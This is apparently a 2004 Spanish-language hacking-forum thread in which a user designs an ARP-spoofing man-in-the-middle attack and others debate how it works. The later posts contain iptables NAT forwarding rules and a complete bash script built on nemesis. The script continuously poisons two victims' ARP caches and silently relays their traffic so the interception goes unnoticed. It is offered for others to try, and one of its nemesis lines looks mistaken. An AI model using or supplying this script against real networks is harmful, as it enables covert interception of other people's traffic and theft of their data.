elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Básico (Moderadores: zhyzura, toxeek)
| | | |-+  Man In The Middle
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Man In The Middle  (Leído 2,658 veces)
servomac

Desconectado Desconectado

Mensajes: 25


Powered by Debian Sarge & Kernel 2.6.7


Ver Perfil
Man In The Middle
« en: 3 Julio 2004, 02:53 »

Buenas. Este es mi primer post en este foro y me gustaría felicitaros por él. Entrando en materia, hos queria comentar que desde hace poco tengo en mente programar un "envenenador" de redes (si se puede llamar así, :P) para implementar el "ataque" Man In The Middle usando el lenguaje C. Me he estado informando sobre ello, y he encontrado una explicación muy interesante en http://www.inkatel.com/new/textos/Arroba/arp-spoofing.html. Lo que tiene que hacer el programa exactamente es lo siguiente :

A : la máquina atacante (ip=192.168.0.1,  mac=01:01:01:01:01:01)
B1 : uno de las atacadas (ip=192.168.0.2, mac=02:02:02:02:02:02)
B2 : la otra (ip=192.168.0.3, mac=03:03:03:03:03:03)

A tiene que mandar (constantemente, ya que sino el arp cache de los hosts atacados puede refrescarse con información verdadera) un arp-reply a B1 indicando que la mac de B2 es 01:01:01:01:01:01 (que en realidad es la de el host atacante, pero asi enviara todos los paquetes hacia este).

A tiene que mandar (constantemente) un arp-reply a B2 indicando que la mac de B1 es 01:01:01:01:01:01.

Ahora tendriamos que lograr que A hiciera forward de los paquetes de B1 y B2 :
 · Todos los paquetes procedientes de B1 enviarlos a B2.
 · Todos los paquetes procedientes de B2 enviarlos a B1.

Aunque esto último es muy simple usando iptables en linux. Me gustaría que me verificaseis si el "algoritmo" es correcto, para entes de ponerme a codificar estar seguro que es ese el procedimiento a seguir para hacer un man in the middle.

¡¡Saludos!!
En línea

"Se necesita a un ladrón para atrapar a otro ladrón, y eso no lo enseña ningún catedrático." (HVC)
D4RK

Desconectado Desconectado

Mensajes: 110



Ver Perfil
Re: Man In The Middle
« Respuesta #1 en: 5 Julio 2004, 16:36 »

Lo que no entiendo es porque la redundancia en esta parte:

Citar
Ahora tendriamos que lograr que A hiciera forward de los paquetes de B1 y B2 :
 · Todos los paquetes procedientes de B1 enviarlos a B2.
 · Todos los paquetes procedientes de B2 enviarlos a B1.

Si ya estas enviando un arp-reply a B1 y a B2 para que hacer un "feedback" entre b1 y b2???

Espero no pasar por ignorante en potencia por exponer mi duda, solo lo digo porque analizando un poco el "problema" me surgió y quiero saber si me toy complicando mucho...
En línea

servomac

Desconectado Desconectado

Mensajes: 25


Powered by Debian Sarge & Kernel 2.6.7


Ver Perfil
Re: Man In The Middle
« Respuesta #2 en: 5 Julio 2004, 19:46 »

Es muy sencillo. Enviando los arp-reply a b1 le haces creer a este que tu mac es la de b2, por tanto los paquetes enviados por b1 que tenian que ir a b2 te llegan a ti, así que la comunicación entre b1 y b2 fallaría, se veria cortada por el host atacante. Pero lo que nosotros buscamos es que los paquetes siguan un curso distinto (es decir, pasen por nosotros) pero luego tenemos que enviarlos a su dueño real, para no romper la comunicación entre las dos maquinas atacadas, ¿lo entiendes?

¡¡Saludos!!
En línea

"Se necesita a un ladrón para atrapar a otro ladrón, y eso no lo enseña ningún catedrático." (HVC)
EmPiCaL2k4
Visitante


Email
Re: Man In The Middle
« Respuesta #3 en: 6 Julio 2004, 09:36 »

Esto es un "truco" bastante viejo pero que funciona.

Lo que se trata es hacerse pasar por otro host para recibir los paquetes destinados a el y reenviarlos. Esto se consigue modificando la tabla arp y asignando direcciones mac a los host.

Ya tienes programas que hacen eso y que funcionan bastante bien, los he probado en algunas redes lan. Ethercap es uno de ellos.

No necesitarias iptables en principio para nada, quizas para hacer el forward.

Yo lo veo asi:

A -> 00:00:00:00:00:00
B -> 11:11:11:11:11:11
        00:00:00:00:00:00
C -> 11:11:11:11:11:11

Para eso tienes que modificar la tabla arp y usar un tcpdump para recoger los paquetes.

A envia a C, B que es A y C recoge los paquetes y los reenvia.
« Última modificación: 6 Julio 2004, 09:39 por E*M*P*I*C*A*L » En línea

servomac

Desconectado Desconectado

Mensajes: 25


Powered by Debian Sarge & Kernel 2.6.7


Ver Perfil
Re: Man In The Middle
« Respuesta #4 en: 6 Julio 2004, 09:42 »

Las reglas que voy a aplicar a iptables son sencillitas, con un redireccionamiento de todos los paquetes proveniente de b1 a b2 y todos los provenientes e b2 a b1. Queda así :

#Vamos a establecer el forward entre las dos maquinas atacadas mediante
#iptables para que ellas no noten nuestra pequeña intrusión en sus asuntos.
#Para esto necesitamos activar el ipforwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
#Enviamos los paquetes que lleguen de $2 a $3
/sbin/iptables -t nat -A PREROUTING -p tcp -s $2  -j DNAT --to-destination $3

#Y los que lleguen de $3 que los envie a $2
/sbin/iptables -t nat -A PREROUTING -p tcp -s $3 -j DNAT --to-destination $2

Ya tengo un script hecho en bash usando nemesis preparado para enviar los arp-replys, solo me falta dar algunas pinceladas finales y hos lo postearé aquí.
Conozco de la existencia de programas que ya lo hacen, y los he usado, pero no conocia como funcionava realmente a nivel de paquetes de red, cosa que he aprendido con nemesis. El proximo paso es programar mi propia rutina en C para el envio de paquetes arp-reply ;)

¡¡Saludos!!
En línea

"Se necesita a un ladrón para atrapar a otro ladrón, y eso no lo enseña ningún catedrático." (HVC)
EmPiCaL2k4
Visitante


Email
Re: Man In The Middle
« Respuesta #5 en: 6 Julio 2004, 09:50 »

Eso en mi opinion no te iba a servir de mucho... para que eso funcionase A tedria que realizar la conexion a traves de B y C de igual modo. El forward se utiliza para enrutar paquetes (como si de un gateway se tratase). Para hacer lo que tu quieres tienes que jugar con las direcciones Mac y asignarlas a las ips.

Si A manda un paquete a la ip de C y no pasa la conexion por B, no haces nada, lo manda directamente a C.

Esto se hace asignando a B la direccion mac de A y C. En redes con switch o hub se difunden por mac (almenos los switch guardan una relacion de ip/mac de los pcs conectados) , si no recuerdo mal. Hace tiempo que no le doy caña a estas cosas. Lo puedes ver usando arp en linux.

Puedes hacer pruebas como cambiarte la mac por la de otro pc y con un tcpdump ver si recibes paquetes.
En línea

servomac

Desconectado Desconectado

Mensajes: 25


Powered by Debian Sarge & Kernel 2.6.7


Ver Perfil
Re: Man In The Middle
« Respuesta #6 en: 8 Julio 2004, 01:44 »

Ya tengo el script en fase beta ;)
Si alguien lo prueba me haria un favor, espero que me reporten cualquier fallo o bug. ¡Saludos!

############################################################

#!/bin/bash

echo "Script de shell que implementa la tecnica Man In The Middle"
echo ""
echo "Este script usa el paquete nemesis, así que si no lo"
echo "tienes te devolvera un error."

#Comprovamos que los parametros introducidos corresponden al esquema.
if [ "$#" != "3" ]
then
   echo "Uso : $0 [IP_ATACANTE] [IP_ATACADO1] [IP_ATACADO2]"
   echo "Ejemplo : $0 192.168.0.1 192.168.0.20 192.168.0.21"
fi

cd /

#Vamos a establecer el forward entre las dos maquinas atacadas mediante
#iptables para que ellas no noten nuestra pequeña intrusión en sus asuntos.
#Para esto necesitamos activar el ipforwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
#Enviamos los paquetes que lleguen de $2 a $3
/sbin/iptables -t nat -A PREROUTING -p tcp -s $2  -j DNAT --to-destination $3

#Y los que lleguen de $3 que los envie a $2
/sbin/iptables -t nat -A PREROUTING -p tcp -s $3 -j DNAT --to-destination $2

#Vamos a conseguir la mac del dispositivo eth1
MAC_ETH0=$(/sbin/ifconfig eth0 | grep HWaddr | awk '{print $5}')

#Ahora enviamos los paquetes de arp-reply una vez cada segundo (hasta
#que el user apriete una tecla qualquiera) con nemesis.
#Mientras que el user no apriete ninguna tecla puede usar cualquier
#sniffer para ver los paquetes enviados de $2 a $3 y viceversa.

while true
do
   # Se espera 1 segundo a que alguien aprete alguna tecla
   read -n 1 -t 1 aux
   #Enviamos los paquetes arp-reply
   /sbin/nemesis -d eth0 -H $MAC_ETH0 -S $2 -D $3
   /sbin/nemesis -d eth0 -H $MAC_ETH0 -S $2 -D $2
   # si la longitud de aux no es 0
   if test -n "$aux"
   then
      # salgo del bucle
      break
   # Sino continuo ejectando el bucle
   fi
done


#Eliminamos de iptables las reglas de routing entre las maquinas atacadas
/sbin/iptables -t nat -D PREROUTING -p tcp -s $2 -j DNAT --to-destination $3
/sbin/iptables -t nat -D PREROUTING -p tcp -s $3 -j DNAT --to-destination $2

############################################################
En línea

"Se necesita a un ladrón para atrapar a otro ladrón, y eso no lo enseña ningún catedrático." (HVC)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ataque Man in the middle « 1 2 »
Hacking Básico
darkvidhack 13 7,162 Último mensaje 18 Abril 2012, 09:30
por gerck
ayuda con man in the middle
Hacking Básico
mitroll025 4 1,981 Último mensaje 14 Febrero 2012, 00:25
por MauroMasciar
Ayuda con Man in the Middle (MiTM)
Hacking Avanzado
W0LFeR 6 2,504 Último mensaje 9 Junio 2012, 18:34
por int_0x40
Problemas con Man in the Middle?
Hacking Básico
0909 2 1,759 Último mensaje 29 Septiembre 2012, 23:18
por Stakewinner00
Marmita - Detectando Ataques Man In The Middle
Seguridad
Stuxnet 1 1,052 Último mensaje 4 Octubre 2013, 17:53
por skan
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines